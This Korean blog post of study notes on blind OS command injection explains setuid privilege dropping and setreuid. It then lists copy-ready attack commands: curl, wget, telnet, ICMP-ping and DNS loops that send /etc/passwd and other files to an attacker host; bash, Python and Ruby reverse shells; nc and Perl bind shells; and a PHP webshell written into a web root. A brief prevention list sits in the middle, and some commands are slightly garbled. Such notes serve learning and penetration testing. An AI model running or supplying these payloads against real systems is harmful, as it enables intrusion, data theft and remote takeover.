본문 바로가기

Blind OS Command Injection

OS Command Injection의 한 종류로 시스템 명령의 수행 결과 값을 알 수 없을 때 사용하는 방법이다.

command injection성공후 리턴값을 볼수없기에 다른 방식으로 공격자에게 응답을 오도록 한다.

 

1.ping을 이용한 방법

ping -c 5 xxx.xxx.xxx.xxx : 대상 IP에 icmp 메세지를 5번 요청하는 명령어

다음처럼 command에 넣으면 대상ip를 나의 서버로 해두면 명령어가 잘먹혔을때 로그가 찍힐것이다.

 

다중명령어 사용법 등 링크참조

---------------틈새시장------------------

이사람 정말 설명을 잘해뒀다.

https://bpsecblog.wordpress.com/2016/10/05/command_injection_02/

 

엄마보고싶다(2) – Command Injection 문턱넘기

Prologue 항해 한 달 째… 뜻밖의 승선, 뜻밖의 만남…….. 이제는 엄마 얼굴도 잘 기억이 안난다… ㄷㄷ 어떡해 하…… 엄마아……보고싶어연……………..!!!!!!! ㅠㅠ 흙 넘나 슬프지만 울고만 있

bpsecblog.wordpress.com

 

setUID로 설정(root)한 프로그램에서 /bin/bash를 실행시켰을때는 root권한이 없지만 /bin/sh를 실행시켰을때는 root권한이 있는 이유

 

Drop privilege란 sh, bash, system( ) 등을 실행할 때 euid( Effective User IDSetUID 모드의 프로세스가 실행 중일 때! 부여되는 추가적인 권한)가 아닌 ruid(Real User ID)의 권한으로 프로세스를 실행시키는 것을 말합니다.

=>SetUID가 설정된 파일에서 일시적으로 상승된 euid의 권한으로 sh, bash, system( ) 등의 중요한 시스템 명령을 함부로 내릴 수 없게 막기 위함이다.

 

Debian 계열의 리눅스가 bash에는 Drop privilege를 적용하면서, dash같은 POSIX 쉘에는 Drop privilege를 적용하지 않는다는 것이다. 그래서 Ubuntu는 ubuntu 6.10 부터 Ubuntu의 기본시스템 쉘이 dash로 지정되었기에 (이전엔 bash) 우리가 사용하는 Ubuntu의 /bin/sh은 /bin/dash와 같은 역할을 했기에 실행 시 부여받은 euid의 권한으로 /bin/sh을 실행할 수 있었던 것이다.

 

+ 쿠크루삥뽕 근데 이후 dash의 보안문제 때문에 업데이트가 됐고 dash 버전 0.5.7-4ubuntu2 package부터는 Drop privilege가 적용되기에 안된다고 한다. 

 

그럼 root권한으로 쉘을 실행 못시키는것인가?->setreuid를 이용하면 된다.

setreuid 함수가 하는 일은 Set Real and Effective user ID !! 즉 Real user ID와 Effective user ID를 설정하는 역할이다.

#include
 
int setreuid( uid_t *ruid*, uid_t *euid* );#함수 원형

setreuid( getruid(), geteuid());#사용

setreuid(geteuid(),geteuid());#활용

다음처럼 system함수를 쓰기전 선언해주면된다. 기존은 drop privilege를 통해 ruid로 권한이 되는데 여기서 setreuid를 통해 ruid의 값을 geteuid로 euid의 값으로 만들어주어 일시적으로 root권한을 쓰는 euid 값으로 실행하게 된다.

 

command injection의 포인트

– 사용자로부터 검증되지 않는 입력을 받는다.

– /bin/ls같은 명령어에 이어 붙여서 system( ) 함수에 전달한다.

 

Linux Windows (cmd, powershell) 설명
-A, --A /c 커맨드 라인 옵션
     
$PATH %PATH% 환경 변수
$ABCD $ABCD (powershell only) 쉘 변수
;
  • & (cmd only)
  • ; (powershell only)
명령어 구분자
echo $(id) for /f "delims=" %a in ('whoami') do echo %a 명령어 치환
> /dev/null
  • > NUL (cmd only)
  • | Out-Null (powershell only)
출력 제거
command || true
  • command & rem (cmd only)
  • command -ErrorAction SilentlyContinue (powershell Cmdlet only)
command 명렁어 오류 무시

다음과 같은 서식을 이용해 공격을 진행한다.

(https://learn.dreamhack.io/28#15)

;->명령어각각

&->앞의 명령어가 성공해야 뒤에꺼 실행

| -> 하나라도 명령어가 성공하면 끝

---------------------------------------

본론으로 blind os command injectio

NetCat (NC)

NC는 TCP, UDP을 통해 네트워크 연결을 가능하게 하며, 데이터를 읽고 쓰기가 가능한 명령어다.

        -d              콘솔에서 분리되어 백그라운드 모드로 실행
        -e prog         커넥션(Connection)이 이루어졌을 때 후 프로그램을 실행함 (위험!)
        -g gateway      source-routing hop point[s]를 8씩 증가
        -G num          source-routing point를 4, 8, 12 .. 4씩 증가
        -h              도움말
        -i secs         스캔된 포트로 전송된 회선의 지연 간격
        -l              인바운드 커넥션을 위해서 listen 모드로 실행
        -L              소켓 종료 시 재전송 실행
        -n              IP 주소 입력 (DNS 을 사용하지 않음)
        -o file         주고받은 데이터를 헥스 덤프(Hex Dump)하여 파일로 저장함
        -p port         로컬 포트를 지정함
        -r              로컬 이나 원격 포트를 임의로 지정함
        -s addr         로컬 출발지 주소를 지정함
        -t              Telnet 과 같은 협상 과정을 거치도록 설정함
        -c              LF 대신 CRLF 를 보냄
        -u              UDP 모드
        -v              자세한 설명 모드 (더 자세한 정보를 표시하기 위해 두 번 사용)
        -w secs         마지막으로 읽고 난 후 종료할 시간을 정함
        -z              zero-I/O 모드 (스캔 시 사용)
persu$ nc -l -p 5555 < /etc/passwd&
persu$ netstat -an |grep 5555
tcp4       0      0  *.5555    

persu$ nc 127.0.0.1 5555
##
# User Database
##
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh

다음 명령어로 포트를 열고있으면 해당포트로 접속시 서버내의 /etc/passwd가 보이게 된다. 이것처럼 특정한 파일에 접근 할수도있고 리버스쉘을 통해 쉘을 얻을수있다.

 

cURL

cURL은 다양한 프로토콜을 사용하여 데이터를 전송하는 라이브러리 및 명령 줄 도구이며 데이터 추출을위한 매우 유용한 도구다. 취약한 서버에 cURL이 있으면 악의적인 웹 서버에 파일을 POST하거나 FTP / SCP / TFTP / TELNET 등의 프로토콜을 사용하여 파일을 전송할 수 있다.

 

위의 명령어는 cat을 통해 /path/to/file(/etc/passwd)를 http://xxxxx/text.txt의 데이터로 사용하게 된다. (text.txt에 반영)

 

  • curl –T {path to file} ftp://xxx.xxx.xxx.xxx –user {username}:{password}

다른방법으로 ftp에서 -T옵션을 이용해 공격자의 서버로파일을 전송하는 방법이다.

 

WGET

Wget은 웹에서 파일을 비 대화식으로 다운로드 할 때 일반적으로 사용되는 도구. 특히 사용자 정의 헤더 및 POST 요청을 할 수 있다.

다음처럼 명령어 입력시 서버측 로그를 보면 헤더에 시스템 파일이 노출되어있다.

여러 활용방법들

SMB

Windows 운영체제를 사용하는 PC에서 Linux 또는 UNIX 서버에 접속하여 파일이나 프린터를 공유하여 사용할 수 있도록 해 주는 소프트웨어이다.

잘 사용하지 않지만, 특정 명령어를 사용할 수 없고 SMB 프로토콜이 활성화 되어 있는 경우 유용하게 쓰일 수 있다.

 

TELNET

TELNET 프로토콜은 원격에서 쉘에 접근할 수 있는 서비스를 제공한다. 23번 Default Port를 사용하고 있으며, 평문 전송을 통해 데이터를 전달 하게 된다.

공격자가 NC 를 이용해 특정 포트를 오픈하고 있을 시 위 명령어를 통해 Telnet 서비스에 연결하게 되지만 실제로는 지정한 파일이 입력되어 공격자 PC에는 지정한 파일의 정보가 노출되는 것을 알 수 있다

 

ICMP

ICMP 프로토콜은 목적지 IP에 대해 상태를 점검 하거나, management하기 위해 사용되는 서비스다. 보통 우리가 자주 쓰는 ping 명령어 또한 ICMP 메세지를 통해 전송되는 것이며, 위 내용과는 조금 다른 방식으로 사용된다.

Cat password.txt xxd -p -c 16 while read exfil; do ping -p $exfil -c 1 xxx.xxx.xxx.xxx; done

이 방식은 ICMP 프로토콜의 특징을 이용한 방법인데, 보통 IP 패킷을 보내기 위해서는 최소 바이트를 작성을 하여 전송해야 한다. ICMP 는 프로토콜 헤더에서 대부분의 서비스를 정의하고 실제로 보내지게 되는 Data에는 OS에서 지정한 잡다한 데이터가 입력되는데 이 부분에 공격자가 지정한 파일의 값을 입력하게 된다. 

그 옵션이 바로 -p 옵션이며, 최대 16 개의 “패드”바이트를 지정할 수 있다. 여기서 공격자가 추출하고자하는 데이터를 저장하는 것이다.

예시

 

  1. DNS

DNS 프로토콜은 Domain name에 해당하는 IP 주소를 DNS 서버에 요청하여, 목적지 URL의 IP를 알아 오는 역할이다.

  • cat /data/secret/password.txt while read exfil; do host $exfil.contextis.com 192.168.107.135; done

DNS 프로토콜은 해당 URL의 IP를 서버에 요청시 쿼리를 날리게 되는데 요청할 URL에 파일의 값으로 사용한다는 내용이다. 

 

추가로

  • nc -l -p 9090 -e cmd.exe (Windows)
  • nc -l -p 9090 -e /bin/bash (*nix)

위 방식을 사용하게 되면, 해당 포트에 하면 -e 옵션을 이용해 바로 쉘을 사용할 수 있게 된다.

 

 

예방법

OS Command Injection 공격은 IoT 디바이스에서 많이 발견되는 취약점이다. 이를 방어 하기 위한 방법은 아래와 같다.

  • 시스템 명령어 사용 시 상수 값을 통한 입력값 제한
  • 사용자 입력 값에 대한 화이트 리스트 기반의 특수문자 필터링 적용
  • 외부로 패킷 전달이 가능한 시스템 명령어 제한(KISA 권고 사항)
  • 낮은 권한의 웹 서비스 데몬 실행
  • 웹 서비스에 대한 정기적인 로그 검토

 

-출처-

https://hacktagon.github.io/iot/system/persu/Blind-OSCommandInjection_Persu

 

network outbound

  • nc (netcat)
cat /etc/passwd | nc 127.0.0.1 8080
ls -al | nc 127.0.0.1 8080

 

$ nc -l -p 8080 -k -v
  • telnet
cat /etc/passwd | telnet 127.0.0.1 8080
  • curl / wget
# GET parameter에 실행 결과 포함(개행으로 인해 오류가 발생할 수 있기 때문에 base64인코딩을 통해 개행 제거.)
curl "http://127.0.0.1:8080/?$(ls -al|base64 -w0)"
# POST Body에 실행 결과 포함
curl http://127.0.0.1:8080/ -d "$(ls -al)"
wget http://127.0.0.1:8080 --method=POST --body-data="`ls -al`"
  • /dev/tcp, /dev/udp (bash 한정)
cat /etc/passwd > /dev/tcp/127.0.0.1/8080

Reverse Shell

  • sh(bash)
/bin/sh -i >& /dev/tcp/127.0.0.1/8080 0>&1
/bin/sh -i >& /dev/udp/127.0.0.1/8080 0>&1

연결을 받는 서버에서 아래와 같이 nc 등의 네트워크 도구를 통해 연결을 맺게 되면 쉘을 획득할 수 있습니다.

$ nc -l -p 8080 -k -v
  • Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  • Ruby
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("127.0.0.1","8080");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Bind Shell

  • nc(netcat)
# nc 버전에 따라 -e 옵션을 지원하지 않을 수도 있습니다.
nc -nlvp 8080 -e /bin/sh
ncat -nlvp 8080 -e /bin/sh
  • perl
perl -e 'use Socket;$p=51337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);close C){open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/bash -i");};'

 

File

웹 루트 하위에 있는 폴더에 해석 가능한 (php/jsp/asp) 파일을 만들어 웹쉘 형태로 접근하는 

printf '<?=system($_GET[0])?>' > /var/www/html/uploads/shell.php

웹쉘 형태로 사용 가능합니다.

Static File Directory

/?cmd=mkdir static; id > static/result.txt

 

 

 

 

출처-

https://learn.dreamhack.io/28#9

 

 

'' 카테고리의 다른 글

한글 blind sqlinjection  (0) 2022.06.13
python flask debugger pin취약점 문제  (0) 2022.06.08
SSRF localhost, 127.0.0.1 bypass  (2) 2022.05.25
MongoDB_Injection  (0) 2022.05.24
Python 쓰레드로 한번에 웹에 requests로 브루트포싱하기  (0) 2021.11.08